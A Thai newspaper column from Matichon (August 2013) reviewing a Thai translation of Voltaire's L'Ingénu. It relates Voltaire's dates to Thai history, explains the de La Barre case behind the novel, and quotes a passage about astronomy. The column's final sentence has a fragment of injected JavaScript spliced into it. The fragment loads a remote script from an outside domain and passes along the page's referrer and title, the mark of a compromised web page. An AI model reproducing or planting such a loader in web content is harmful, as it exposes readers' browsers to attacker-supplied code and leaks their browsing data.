มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 15 สิงหาคม 2556

 

          คนเถื่อน เป็นชื่อหนังสือนิยายของ วอลแตร์ นักปราชญ์ฝรั่งเศส แต่งเรื่องนี้ขณะมีอายุ 73 ปี เมื่อ พ.ศ. 2310 (ตรงกับยุคอยุธยาตอนกรุงแตกพอดี)

          วอลแตร์ เกิดในกรุงปารีส เมื่อ พ.ศ. 2237 (ตรงกับแผ่นดินพระเพทราชา ยุคอยุธยา)

          ตายเมื่อ พ.ศ. 2321 (ตรงกับแผ่นดินพระเจ้าตาก ยุคธนบุรี ก่อนสถาปนากรุงเทพฯ ราว 4 ปี ก่อนสุนทรภู่เกิดราว 8 ปี)

          ข้อมูลเกี่ยวกับวอลแตร์ที่ยกมาเทียบช่วงเวลาในประวัติศาสตร์ไทย ผมอ่านจากคำอธิบายและบทวิเคราะห์ที่พิมพ์ท้ายเล่ม (สำนักพิมพ์มติชน พ.ศ. 2556 ราคา 160 บาท) แล้วยังมีบอกอีกว่า

          วอลแตร์แต่งนิยายเรื่องคนเถื่อนเพื่อเรียกร้องขันติธรรมและเสรีภาพในความเชื่อทางศาสนา

          สืบเนื่องจากความตายของ เดอ ลา บาร์ (อายุ 19 ปี) ที่ถูกพิพากษาประหารชีวิต เพราะถูกใส่ความ และด้วยความประมาทของตน ว่าดูหมิ่นศาสนา ที่ไม่ถอดหมวกแสดงความเคารพขณะเดินผ่านขบวนพิธีทางศาสนา และต่อมาทำไม้กางเขนหักขณะเมา

          จะเห็นว่าวอลแตร์มิได้ทำเพื่อตัวเอง แต่ทำเพื่อกอบกู้เกียรติยศชื่อเสียงแห่งตระกูลของผู้ตกเป็นเหยื่อการขาดขันติธรรม และความบ้าคลั่งทางศาสนาในสังคมของเขา

          นิยายตอนหนึ่ง (บท 11) พรรณนาว่าเมื่อได้อ่านตำราว่าด้วยดาราศาสตร์ คนเถื่อนพิจารณาเทห์ฟากฟ้าต่างๆ เกิดปีติยินดีในภาพอันอลังการที่เห็นเบื้องหน้า

          “ข้าพเจ้าเริ่มรู้จักท้องฟ้า แต่กลับถูกลิดรอนสิทธิ์ในการชื่นชมพิศดู! ดาวพฤหัสฯ กับดาวเสาร์ หมุนรอบอยู่ในวงโคจรอันไพศาลนี้ ดวงอาทิตย์นับล้านให้แสงสว่างแก่ดาวเคราะห์นับร้อยล้านดวง

          ในมุมบนผืนแผ่นดินซึ่งข้าพเจ้าถูกผลักตกลงมานี้ มีคนจำกัดมิให้ข้าพเจ้าได้เห็นดาวดวงใดๆ ทั้งๆที่ข้าพเจ้ามองเห็นและคิดเป็น อีกทั้งมิได้เห็นดาวโลกซึ่งพระเป็นเจ้าให้ข้าพเจ้ามาเกิดอีกด้วย! แสงสว่างสำหรับสากลจักรวาลมิได้มีเพื่อข้าพเจ้า

          ในเส้นขอบฟ้าของประเทศทางเหนือ ซึ่งข้าพเจ้าดำรงชีวิตวัยเด็กและวัยหนุ่ม มิมีผู้ใดซ่อนแสงสว่างไปจากข้าพเจ้า—–”

          ผมล้าหลังมากๆเรื่องวรรณคดีตะวันตกทั้งหลาย ไม่แค่อ่านภาษาเหล่านั้นไม่ออก ขนาดมีแปลเป็นไทยก็อ่านไม่แตก จนกว่าจะมีผู้สรุปสาระสำคัญก่อน แล้วถึงอ่านแกะรอยตามหลัง ซึ่งก็ยังงูๆ ปลาๆ เป็นปลาร้าปลาแดก อยู่นั่นเอง

          ดังนั้น เมื่ออ่านคนเถื่อน ของ วอลแตร์ ฉบับแปลเป็นภาษาไทย(ใส่วรรณศิลป์)จากภาษาฝรั่งเศส โดย วัลยา วิวัฒน์ศร พร้อมคำอธิบายท้ายเล่ม (สำนักพิมพ์มติชน พ.ศ. 2556 ราคา 160 บาท) จึงตื่นเต้นตาสว่าง อย่างมหัศจรรย์ใจ

          ด้วยคาดไม่ถึงว่าเป็นความคิดของคนซึ่งมีชีวิต แล้วเขียนขึ้นในช่วงเวลายุคอยุธยา (แต่อยู่ฝรั่งเศส) ราว 250 ปีมาแล้ว เพราะสาระสำคัญยังใช้ได้กับบ้านเมืองทุกวันนี้

          อย่างนี้นี่เอง ถึงเคยเป็นเจ้าอาณานิคม แล้วยังเป็นมหาอำนาจ(แห่งหนึ่งในโลก)สืบจนปัจจุบันs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;